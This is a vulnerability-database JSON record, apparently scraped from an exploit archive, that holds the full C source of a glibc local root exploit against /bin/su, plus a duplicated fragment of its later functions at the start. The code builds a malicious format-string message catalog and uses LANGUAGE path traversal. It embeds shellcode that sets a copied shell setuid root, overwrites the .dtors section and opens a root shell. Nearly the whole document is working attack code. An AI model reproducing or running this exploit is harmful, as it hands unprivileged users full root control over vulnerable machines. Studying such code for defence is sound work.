open(tmpfile, O_RDWR | O_CREAT);\r\n if (tmpfd < 0) {\r\n\tperror(\"open()\");\r\n\texit(0);\r\n }\r\n while ((l = read(fds[0], buf, 1024)) > 0)\r\n\twrite(tmpfd, buf, l);\r\n close(tmpfd);\r\n\r\n waitpid(pid, &l, 0);\r\n\r\n stat(tmpfile, &st);\r\n\r\n chmod(tmpfile, 0777);\r\n\r\n f = fopen(tmpfile, \"r\");\r\n if (!f) {\r\n\tperror(\"fopen()\");\r\n\texit(0);\r\n }\r\n\r\n if (readbuf) free(readbuf);\r\n readbuf = (char*) malloc(st.st_size);\r\n if (!readbuf) {\r\n\tprintf(\"malloc failed\\naborting\\n\");\r\n\texit(0);\r\n }\r\n\r\n memset(readbuf, 0, st.st_size);\r\n\r\n fread(readbuf, 1, st.st_size, f);\r\n fclose(f);\r\n\r\n token = strtok(readbuf, \"*\");\r\n if (!token) continue;\r\n token = strtok(NULL, \"*\");\r\n if (!token) continue;\r\n\r\n t1 = strtoul(token, NULL, 16);\r\n token = strtok(NULL, \"*\");\r\n if (!token) continue;\r\n token = strtok(NULL, \"*\");\r\n if (!token) continue;\r\n t2 = strtoul(token, NULL, 16);\r\n\r\n if (t2 == test_value)\r\n\tif (t1 == (test_value+2)) {\r\n\t *eatr = eat;\r\n\t *padr = pad;\r\n\t sprintf(execbuf, \"rm -rf %s\", LC_MESSAGES);\r\n\t system(execbuf);\r\n\t if (tmpfile[0]) unlink(tmpfile);\r\n\t return;\r\n\t}\r\n\r\n // sleep(10);\r\n }\r\n printf(\".\");\r\n fflush(stdout);\r\n }\r\n\r\n if (tmpfile[0]) unlink(tmpfile);\r\n sprintf(execbuf, \"rm -rf %s\", LC_MESSAGES);\r\n system(execbuf);\r\n\r\n printf(\"failed to calculate eat and pad values. glibc patched or\r\ninvalid language?\\naborting\\n\");\r\n exit(0);\r\n}\r\n\r\nvoid checkfor(char *p)\r\n{\r\n int fd;\r\n fd = open(p, O_RDONLY);\r\n if (fd < 0) {\r\n printf(\"failed\\naborting\\n\");\r\n exit(0);\r\n }\r\n close(fd);\r\n printf(\"Ok\\n\");\r\n fflush(stdout);\r\n}\r\n\r\nvoid make_suid_shell()\r\n{\r\n FILE *f;\r\n char execbuf[1024];\r\n\r\n f = fopen(\"/tmp/kidd0.c\", \"w\");\r\n if (!f) {\r\n printf(\" failed to create /tmp/kidd0.c\\naborting\\n\");\r\n exit(0);\r\n }\r\n\r\n fprintf(f, \"int main() { setuid(0); setgid(0); system(\\\"/bin/sh\\\");\r\n}\");\r\n fclose(f);\r\n\r\n sprintf(execbuf, \"gcc /tmp/kidd0.c -o /tmp/kidd0\");\r\n system(execbuf);\r\n\r\n sprintf(execbuf, \"rm -f /tmp/kidd0.c\");\r\n system(execbuf);\r\n\r\n f = fopen(\"/tmp/kidd0\", \"r\");\r\n if (!f) {\r\n printf(\" failed to compile /tmp/kidd0.c\\naborting\\n\");\r\n exit(0);\r\n }\r\n fclose(f);\r\n\r\n printf(\" /tmp/kidd0 created Ok\\n\");\r\n fflush(stdout);\r\n}\r\n\r\nvoid search_valid_language()\r\n{\r\n DIR *locale;\r\n struct dirent *dentry;\r\n\r\n locale = opendir(\"/usr/share/locale\");\r\n if (!locale) {\r\n perror(\"failed to opendir /usr/share/locale\");\r\n printf(\"aborting\\n\");\r\n exit(0);\r\n }\r\n\r\n while (dentry = readdir(locale)) {\r\n\r\n if (!strchr(dentry->d_name, '_')) continue;\r\n\r\n language = (char*) malloc(40 + strlen(dentry->d_name));\r\n if (!language) {\r\n printf(\"malloc failed\\naborting\\n\");\r\n exit(0);\r\n }\r\n memset(language, 0, 40 + strlen(dentry->d_name));\r\n sprintf(language, \"LANGUAGE=%s/../../../../../../tmp\",\r\ndentry->d_name);\r\n closedir(locale);\r\n printf(\" [using %s] \", dentry->d_name);\r\n return;\r\n }\r\n\r\n printf(\"failed to find a valid language\\naborting\\n\");\r\n exit(0);\r\n}\r\n\r\n\r\n\n# 0day.today [2016-04-20] #", "sourceHref": "http://0day.today/exploit/7262", "title": "GLIBC (via /bin/su) Local Root Exploit ", "type": "zdt", "viewCount": 28}, "differentElements": ["sourceHref", "sourceData", "href"], "edition": 1, "lastseen": "2016-04-20T01:45:35"}], "edition": 2, "hashmap": [{"key": "bulletinFamily", "hash": "708697c63f7eb369319c6523380bdf7a"}, {"key": "cvelist", "hash": "d41d8cd98f00b204e9800998ecf8427e"}, {"key": "cvss", "hash": "8cd4821cb504d25572038ed182587d85"}, {"key": "description", "hash": "8be7a8b03e0d0b6e92b55fa1f40b9528"}, {"key": "href", "hash": "e239d68a0491a1c0a999eec26585aaea"}, {"key": "modified", "hash": "4704fd2338c58a498ff116944bf53ef9"}, {"key": "published", "hash": "4704fd2338c58a498ff116944bf53ef9"}, {"key": "references", "hash": "d41d8cd98f00b204e9800998ecf8427e"}, {"key": "reporter", "hash": "746b01967143334176e7ac67369145e7"}, {"key": "sourceData", "hash": "c307c963ee791313b6964951a2771496"}, {"key": "sourceHref", "hash": "d1febdd0771a953575e0a198787eef38"}, {"key": "title", "hash": "f22a0fe0e3c6e4e659fa61a935c01c2b"}, {"key": "type", "hash": "0678144464852bba10aa2eddf3783f0a"}], "hash": "29468b7fbeecf40137e9821b15df15eefeca3bd4122f642f40bdfa0042530d66", "viewCount": 28, "enchantments": {"vulnersScore": 2.8}, "objectVersion": "1.3", "sourceHref": "https://0day.today/exploit/7262", "sourceData": "======================================\r\nGLIBC (via /bin/su) Local Root Exploit \r\n======================================\r\n\r\n/*\r\n *\r\n * Working exploit for glibc executing /bin/su\r\n *\r\n * To exploit this i have used a technique that\r\n * overwrites the .dtors section of /bin/su program\r\n * with the address of the shellcode, so, the program\r\n * executes it when main returns or exit() is called\r\n *\r\n * Thanks a lot to rwxrwxrwx <[email\u00a0protected]> for\r\n * explaining me this technique :)\r\n *\r\n * The address of .dtors section can be easily obtained\r\n * with objdump -h filename.\r\n *\r\n * One the address of .dtors is known, the shellcode is\r\n * pushed in a env var with a lot of nops, and the size\r\n * of the \"piece\" of stack that must be \"eaten\" is calculated\r\n * with a loop. At this point, we know the exact values of\r\n * all parameters exept the address of the shellcode, but this\r\n * value can be guessed with a little work :)\r\n *\r\n * Tested on: Red Hat 6.2, 6.1\r\n * SuSE 6.2\r\n *\r\n * Thanks to Chui, aViNash, RaiSe, |CoDeX|, YbY...\r\n * (y todos los que me olvido)\r\n *\r\n *\r\n * Doing / localcore - [email\u00a0protected]\r\n *\r\n */\r\n\r\n\r\n#include <stdio.h>\r\n#include <stdlib.h>\r\n#include <sys/types.h>\r\n#include <sys/stat.h>\r\n#include <fcntl.h>\r\n#include <string.h>\r\n#include <getopt.h>\r\n#include <dirent.h>\r\n\r\nchar *shellcode =\r\n\"\\x31\\xc0\\x83\\xc0\\x17\\x31\\xdb\\xcd\\x80\\xeb\"\r\n\"\\x30\\x5f\\x31\\xc9\\x88\\x4f\\x17\\x88\\x4f\\x1a\"\r\n\"\\x8d\\x5f\\x10\\x89\\x1f\\x8d\\x47\\x18\\x89\\x47\"\r\n\"\\x04\\x8d\\x47\\x1b\\x89\\x47\\x08\\x31\\xc0\\x89\"\r\n\"\\x47\\x0c\\x8d\\x0f\\x8d\\x57\\x0c\\x83\\xc0\\x0b\"\r\n\"\\xcd\\x80\\x31\\xdb\\x89\\xd8\\x40\\xcd\\x80\\xe8\"\r\n\"\\xcb\\xff\\xff\\xff\\x41\\x41\\x41\\x41\\x41\\x41\"\r\n\"\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\"\r\n\"\\x2f\\x62\\x69\\x6e\\x2f\\x73\\x68\\x30\\x2d\\x63\"\r\n\"\\x30\"\r\n\"chown root /tmp/kidd0;chmod 4777 /tmp/kidd0\";\r\n\r\nchar *LC_MESSAGES = \"/tmp/LC_MESSAGES\";\r\nint NOP_LEN = 12000;\r\n\r\nchar *msgfmt = \"/usr/bin/msgfmt\";\r\nchar *objdump = \"/usr/bin/objdump\";\r\nchar *language = NULL;\r\n\r\nchar *make_format_string(unsigned long, int, int);\r\nunsigned long get_dtors_addr();\r\nchar *make_ret_str(unsigned long, int);\r\nvoid calculate_eat_space(int *, int *);\r\nvoid checkfor(char*);\r\nvoid make_suid_shell();\r\nvoid search_valid_language();\r\n\r\nint main(int argc, char **argv)\r\n{\r\n char execbuf[1024];\r\n unsigned long dtors_addr = 0xAABBCCDD;\r\n unsigned long sh_addr = 0xBFFFFFFF;\r\n FILE *f;\r\n char *env[3];\r\n char *args[6];\r\n int eat = 0, pad = 0, fd;\r\n char *nop_env;\r\n int offset = 5000;\r\n struct stat st;\r\n int pid, c;\r\n char randfile[1024];\r\n char *args2[2], opt;\r\n\r\n printf(\"glibc xploit for /bin/su - by Doing <[email\u00a0protected]>\\n\");\r\n printf(\"Usage: %s [options]\\n\", argv[0]);\r\n printf(\" -o offset [default: 5000]\\n\");\r\n printf(\" -n nops [default: 12000]\\n\");\r\n printf(\" -m path to msgfmt [default: /usr/bin/msgfmt]\\n\");\r\n printf(\" -O path to objdump [default: /usr/bin/objdump]\\n\");\r\n printf(\" -e eat:pad set eat and pad values [default: calculate\r\nthem]\\n\");\r\n printf(\" -l language set language used in env var [default: search\r\nit]\\n\");\r\n printf(\"Enjoy!\\n\\n\");\r\n\r\n while ((opt = getopt(argc, argv, \"o:n:m:O:e:l:\")) != EOF)\r\n switch(opt) {\r\n case 'o':\r\n offset = atoi(optarg);\r\n break;\r\n case 'n':\r\n NOP_LEN = atoi(optarg);\r\n break;\r\n case 'm':\r\n msgfmt = strdup(optarg);\r\n break;\r\n case 'O':\r\n objdump = strdup(optarg);\r\n break;\r\n case 'e':\r\n sscanf(optarg, \"%i:%i\", &eat, &pad);\r\n break;\r\n case 'l':\r\n language = (char*) malloc(40 + strlen(optarg));\r\n if (!language) {\r\n\tprintf(\"malloc failed\\naborting\\n\");\r\n\texit(0);\r\n }\r\n memset(language, 0, 40 + strlen(optarg));\r\n sprintf(language, \"LANGUAGE=%s/../../../../../../tmp\", optarg);\r\n break;\r\n default:\r\n exit(0);\r\n }\r\n\r\n printf(\"Phase 1. Checking paths and write permisions\\n\");\r\n printf(\" Checking for %s...\", msgfmt);\r\n checkfor(msgfmt);\r\n printf(\" Checking for %s...\", objdump);\r\n checkfor(objdump);\r\n\r\n printf(\" Checking write permisions on /tmp...\");\r\n if (stat(\"/tmp\", &st) < 0) {\r\n printf(\"failed. cannot stat /tmp\\naborting\\n\");\r\n exit(0);\r\n }\r\n\r\n if (!(st.st_mode & S_IWOTH)) {\r\n printf(\"failed. /tmp it's not +w\\naborting\\n\");\r\n exit(0);\r\n }\r\n printf(\"Ok\\n\");\r\n fflush(stdout);\r\n\r\n printf(\" Checking read permisions on /bin/su...\");\r\n if (stat(\"/bin/su\", &st) < 0) {\r\n printf(\"failed. cannot stat /bin/su\\naborting\\n\");\r\n exit(0);\r\n }\r\n\r\n if (!(st.st_mode & S_IROTH)) {\r\n printf(\"failed. /bin/su it's not +r\\naborting\\n\");\r\n exit(0);\r\n }\r\n printf(\"Ok\\n\");\r\n fflush(stdout);\r\n\r\n if (!language) {\r\n printf(\" Checking for a valid language...\");\r\n search_valid_language();\r\n printf(\"Ok\\n\");\r\n }\r\n\r\n printf(\" Checking that %s does not exist...\", LC_MESSAGES);\r\n if (stat(LC_MESSAGES, &st) >= 0) {\r\n printf(\"failed. %s exists\\naborting\\n\", LC_MESSAGES);\r\n exit(0);\r\n }\r\n printf(\"Ok\\n\");\r\n fflush(stdout);\r\n\r\n printf(\"Phase 2. Calculating eat and pad values\\n \");\r\n srand(time(NULL));\r\n\r\n if (eat || pad) printf(\"skkiping, values set by user to eat = %i and\r\npad = %i\\n\", eat, pad);\r\n else {\r\n calculate_eat_space(&eat, &pad);\r\n printf(\"done\\n eat = %i and pad = %i\\n\", eat, pad);\r\n }\r\n fflush(stdout);\r\n\r\n sh_addr -= offset;\r\n\r\n printf(\"Phase 3. Creating evil libc.mo and setting enviroment\r\nvars\\n\");\r\n fflush(stdout);\r\n\r\n mkdir(LC_MESSAGES, 0755);\r\n chdir(LC_MESSAGES);\r\n\r\n f = fopen(\"libc.po\", \"w+\");\r\n if (!f) {\r\n perror(\"fopen()\");\r\n exit(0);\r\n }\r\n fprintf(f,\"msgid \\\"%%s: invalid option -- %%c\\\\n\\\"\\n\");\r\n fprintf(f,\"msgstr \\\"%s\\\\n\\\"\", make_format_string(sh_addr, eat, 0));\r\n fclose(f);\r\n\r\n sprintf(execbuf, \"%s libc.po -o libc.mo; chmod 777 libc.mo\", msgfmt);\r\n system(execbuf);\r\n\r\n nop_env = (char*) malloc(NOP_LEN + strlen(shellcode) + 1);\r\n if (!nop_env) {\r\n printf(\"malloc failed\\naborting\\n\");\r\n exit(0);\r\n }\r\n memset(nop_env, 0x90, NOP_LEN + strlen(shellcode) + 1);\r\n sprintf(&nop_env[NOP_LEN], \"%s\", shellcode);\r\n\r\n env[0] = language;\r\n env[1] = NULL;\r\n\r\n printf(\"Phase 4. Getting address of .dtors section of /bin/su\\n \");\r\n dtors_addr = get_dtors_addr();\r\n printf(\"done\\n .dtors is at 0x%08x\\n\", dtors_addr);\r\n fflush(stdout);\r\n\r\n printf(\"Phase 5. Compiling suid shell\\n\");\r\n fflush(stdout);\r\n\r\n make_suid_shell();\r\n\r\n printf(\"Phase 6. Executing /bin/su\\n\");\r\n fflush(stdout);\r\n\r\n args[0] = \"/bin/su\";\r\n args[1] = \"-\";\r\n args[2] = make_ret_str(dtors_addr, pad);\r\n args[3] = \"-w\";\r\n args[4] = nop_env;\r\n args[5] = NULL;\r\n\r\n sprintf(randfile, \"/tmp/tmprand%i\", rand());\r\n\r\n if (!(pid = fork())) {\r\n close(1);\r\n close(2);\r\n fd = open(randfile, O_CREAT | O_RDWR);\r\n dup2(fd, 1);\r\n dup2(fd, 2);\r\n execve(args[0], args, env);\r\n printf(\"failed to exec /bin/su\\n\"); exit(0);\r\n }\r\n\r\n if (pid < 0) {\r\n perror(\"fork()\");\r\n exit(0);\r\n }\r\n\r\n waitpid(pid, &c, 0);\r\n\r\n unlink(randfile);\r\n\r\n stat(\"/tmp/kidd0\", &st);\r\n if (!(S_ISUID & st.st_mode)) {\r\n printf(\"failed to put mode 4777 to /tmp/kidd0\\naborting\\n\");\r\n exit(0);\r\n }\r\n\r\n printf(\" - Entering rootshell ;-) -\\n\");\r\n fflush(stdout);\r\n\r\n if (!(pid = fork())) {\r\n args2[0] = \"/tmp/kidd0\";\r\n args2[1] = NULL;\r\n execve(args2[0], args2, NULL);\r\n printf(\"failed to exec /tmp/kidd0\\n\");\r\n exit(0);\r\n }\r\n\r\n if (pid < 0) {\r\n perror(\"fork()\");\r\n exit(0);\r\n }\r\n\r\n waitpid(pid, &c, 0);\r\n\r\n printf(\"Phase 7. Cleaning enviroment\\n\");\r\n sprintf(execbuf, \"rm -rf %s /tmp/kidd0\", LC_MESSAGES);\r\n system(execbuf);\r\n}\r\n\r\nchar ret_make_format[0xffff];\r\n\r\nchar *make_format_string(unsigned long sh_addr, int eat, int test)\r\n{\r\n char *ret = ret_make_format;\r\n int c, waste;\r\n int hi, lo;\r\n\r\n memset(ret, 0, 0xffff);\r\n\r\n for (c = 0; c < eat; c++) strcat(ret, \"%8x\");\r\n\r\n waste = 8 * eat;\r\n\r\n hi = (sh_addr & 0xffff0000) >> 16;\r\n lo = (sh_addr & 0xffff) - hi;\r\n if (!test) {\r\n sprintf(&ret[strlen(ret)], \"%%0%ux%%hn\", hi-waste);\r\n sprintf(&ret[strlen(ret)], \"%%0%ux%%hn\", lo);\r\n }\r\n else strcat(ret, \"%8x *0x%08x* %8x *0x%08x*\");\r\n return ret;\r\n}\r\n\r\nunsigned long get_dtors_addr()\r\n{\r\n char exec_buf[1024];\r\n char file[128];\r\n char buf[1024], sect[1024];\r\n FILE *f;\r\n unsigned long ret = 0, tmp1, tmp2, tmp3;\r\n\r\n sprintf(file, \"/tmp/tmprand%i\", rand());\r\n sprintf(exec_buf, \"%s -h /bin/su > %s\", objdump, file);\r\n\r\n system(exec_buf);\r\n\r\n f = fopen(file, \"r\");\r\n if (!f) {\r\n perror(\"fopen()\");\r\n exit(0);\r\n }\r\n\r\n while (!feof(f)) {\r\n fgets(buf, 1024, f);\r\n sscanf(buf, \" %i .%s %x %x \\n\", &tmp1, sect, &tmp2, &tmp3);\r\n printf(\".\"); fflush(stdout);\r\n if (strcmp(sect, \"dtors\")) continue;\r\n ret = tmp3;\r\n break;\r\n }\r\n\r\n unlink(file);\r\n\r\n if (!ret) {\r\n printf(\"error getting the address of .dtors\\naborting\");\r\n exit(0);\r\n }\r\n\r\n return ret+4;\r\n}\r\n\r\nchar ret_make_ret_str[0xffff];\r\n\r\nchar *make_ret_str(unsigned long dtors_addr, int pad)\r\n{\r\n char *ret = ret_make_ret_str, *ptr2;\r\n unsigned long *ptr = (unsigned long*) ret;\r\n int c;\r\n\r\n memset(ret, 0, 0xffff);\r\n\r\n *ptr = dtors_addr+2;\r\n *(ptr+1) = 0xAABBCCDD;\r\n *(ptr+2) = dtors_addr;\r\n\r\n ptr2 = &ret[strlen(ret)];\r\n while (pad--)\r\n *(ptr2++) = 0xaa;\r\n\r\n return ret;\r\n}\r\n\r\nvoid calculate_eat_space(int *eatr, int *padr)\r\n{\r\n int eat = 0, pad = 0;\r\n char tmpfile[128];\r\n FILE *f;\r\n char execbuf[1024];\r\n int fds[2], tmpfd;\r\n unsigned long test_value = 0xAABBCCDD;\r\n char *nop_env;\r\n char *env[2];\r\n char *args[6];\r\n char buf[1024];\r\n int l, pid;\r\n struct stat st;\r\n char *readbuf = NULL, *token;\r\n unsigned long t1, t2;\r\n\r\n tmpfile[0] = '\\0';\r\n\r\n nop_env = (char*) malloc(NOP_LEN + strlen(shellcode) + 1);\r\n if (!nop_env) {\r\n printf(\"malloc failed\\naborting\\n\");\r\n exit(0);\r\n }\r\n memset(nop_env, 0x90, NOP_LEN + strlen(shellcode) + 1);\r\n sprintf(&nop_env[NOP_LEN], \"%s\", shellcode);\r\n\r\n for (eat = 50; eat < 200; eat++) {\r\n for (pad = 0; pad < 4; pad++) {\r\n\r\n if (tmpfile[0]) unlink(tmpfile);\r\n\r\n chdir(\"/\");\r\n\r\n sprintf(execbuf, \"rm -rf %s\", LC_MESSAGES);\r\n system(execbuf);\r\n\r\n mkdir(LC_MESSAGES, 0755);\r\n chdir(LC_MESSAGES);\r\n\r\n f = fopen(\"libc.po\", \"w+\");\r\n if (!f) {\r\n\tperror(\"fopen()\");\r\n\texit(0);\r\n }\r\n\r\n fprintf(f,\"msgid \\\"%%s: invalid option -- %%c\\\\n\\\"\\n\");\r\n fprintf(f,\"msgstr \\\"%s\\\\n\\\"\", make_format_string(0xbfffffbb, eat,\r\n1));\r\n fclose(f);\r\n\r\n sprintf(execbuf, \"chmod 777 libc.po; %s libc.po -o libc.mo\",\r\nmsgfmt);\r\n system(execbuf);\r\n\r\n pipe(&fds);\r\n\r\n if (!(pid = fork())) {\r\n\r\n\tclose(fds[0]);\r\n\tclose(1);\r\n\tclose(2);\r\n\r\n\tdup2(fds[1], 1);\r\n\tdup2(fds[1], 2);\r\n\r\n\tenv[0] = language;\r\n\tenv[1] = NULL;\r\n\r\n\targs[0] = \"/bin/su\";\r\n\targs[1] = \"-\";\r\n\targs[2] = make_ret_str(test_value, pad);\r\n\targs[3] = \"-w\";\r\n\targs[4] = nop_env;\r\n\targs[5] = NULL;\r\n\r\n\texecve(args[0], args, env);\r\n }\r\n\r\n if (pid < 0) {\r\n\tperror(\"fork()\");\r\n\texit(0);\r\n }\r\n\r\n close(fds[1]);\r\n\r\n sprintf(tmpfile, \"/tmp/tmprand%i\", rand());\r\n tmpfd = open(tmpfile, O_RDWR | O_CREAT);\r\n if (tmpfd < 0) {\r\n\tperror(\"open()\");\r\n\texit(0);\r\n }\r\n while ((l = read(fds[0], buf, 1024)) > 0)\r\n\twrite(tmpfd, buf, l);\r\n close(tmpfd);\r\n\r\n waitpid(pid, &l, 0);\r\n\r\n stat(tmpfile, &st);\r\n\r\n chmod(tmpfile, 0777);\r\n\r\n f = fopen(tmpfile, \"r\");\r\n if (!f) {\r\n\tperror(\"fopen()\");\r\n\texit(0);\r\n }\r\n\r\n if (readbuf) free(readbuf);\r\n readbuf = (char*) malloc(st.st_size);\r\n if (!readbuf) {\r\n\tprintf(\"malloc failed\\naborting\\n\");\r\n\texit(0);\r\n }\r\n\r\n memset(readbuf, 0, st.st_size);\r\n\r\n fread(readbuf, 1, st.st_size, f);\r\n fclose(f);\r\n\r\n token = strtok(readbuf, \"*\");\r\n if (!token) continue;\r\n token = strtok(NULL, \"*\");\r\n if (!token) continue;\r\n\r\n t1 = strtoul(token, NULL, 16);\r\n token = strtok(NULL, \"*\");\r\n if (!token) continue;\r\n token = strtok(NULL, \"*\");\r\n if (!token) continue;\r\n t2 = strtoul(token, NULL, 16);\r\n\r\n if (t2 == test_value)\r\n\tif (t1 == (test_value+2)) {\r\n\t *eatr = eat;\r\n\t *padr = pad;\r\n\t sprintf(execbuf, \"rm -rf %s\", LC_MESSAGES);\r\n\t system(execbuf);\r\n\t if (tmpfile[0]) unlink(tmpfile);\r\n\t return;\r\n\t}\r\n\r\n // sleep(10);\r\n }\r\n printf(\".\");\r\n fflush(stdout);\r\n }\r\n\r\n if (tmpfile[0]) unlink(tmpfile);\r\n sprintf(execbuf, \"rm -rf %s\", LC_MESSAGES);\r\n system(execbuf);\r\n\r\n printf(\"failed to calculate eat and pad values. glibc patched or\r\ninvalid language?\\naborting\\n\");\r\n exit(0);\r\n}\r\n\r\nvoid checkfor(char *p)\r\n{\r\n int fd;\r\n fd = open(p, O_RDONLY);\r\n if (fd < 0) {\r\n printf(\"failed\\naborting\\n\");\r\n exit(0);\r\n }\r\n close(fd);\r\n printf(\"Ok\\n\");\r\n fflush(stdout);\r\n}\r\n\r\nvoid make_suid_shell()\r\n{\r\n FILE *f;\r\n char execbuf[1024];\r\n\r\n f = fopen(\"/tmp/kidd0.c\", \"w\");\r\n if (!f) {\r\n printf(\" failed to create /tmp/kidd0.c\\naborting\\n\");\r\n exit(0);\r\n }\r\n\r\n fprintf(f, \"int main() { setuid(0); setgid(0); system(\\\"/bin/sh\\\");\r\n}\");\r\n fclose(f);\r\n\r\n sprintf(execbuf, \"gcc /tmp/kidd0.c -o /tmp/kidd0\");\r\n system(execbuf);\r\n\r\n sprintf(execbuf, \"rm -f /tmp/kidd0.c\");\r\n system(execbuf);\r\n\r\n f = fopen(\"/tmp/kidd0\", \"r\");\r\n if (!f) {\r\n printf(\" failed to compile /tmp/kidd0.c\\naborting\\n\");\r\n exit(0);\r\n }\r\n fclose(f);\r\n\r\n printf(\" /tmp/kidd0 created Ok\\n\");\r\n fflush(stdout);\r\n}\r\n\r\nvoid search_valid_language()\r\n{\r\n DIR *locale;\r\n struct dirent *dentry;\r\n\r\n locale = opendir(\"/usr/share/locale\");\r\n if (!locale) {\r\n perror(\"failed to opendir /usr/share/locale\");\r\n printf(\"aborting\\n\");\r\n exit(0);\r\n }\r\n\r\n while (dentry = readdir(locale)) {\r\n\r\n if (!strchr(dentry->d_name, '_')) continue;\r\n\r\n language = (char*) malloc(40 + strlen(dentry->d_name));\r\n if (!language) {\r\n printf(\"malloc failed\\naborting\\n\");\r\n exit(0);\r\n }\r\n memset(language, 0, 40 + strlen(dentry->d_name));\r\n sprintf(language, \"LANGUAGE=%s/../../../../../../tmp\",\r\ndentry->d_name);\r\n closedir(locale);\r\n printf(\" [using %s] \", dentry->d_name);\r\n return;\r\n }\r\n\r\n printf(\"failed to find a valid language\\naborting\\n\");\r\n exit(0);\r\n}\r\n\r\n\r\n\n# 0day.today [2018-04-05] #"}
{"result": {}}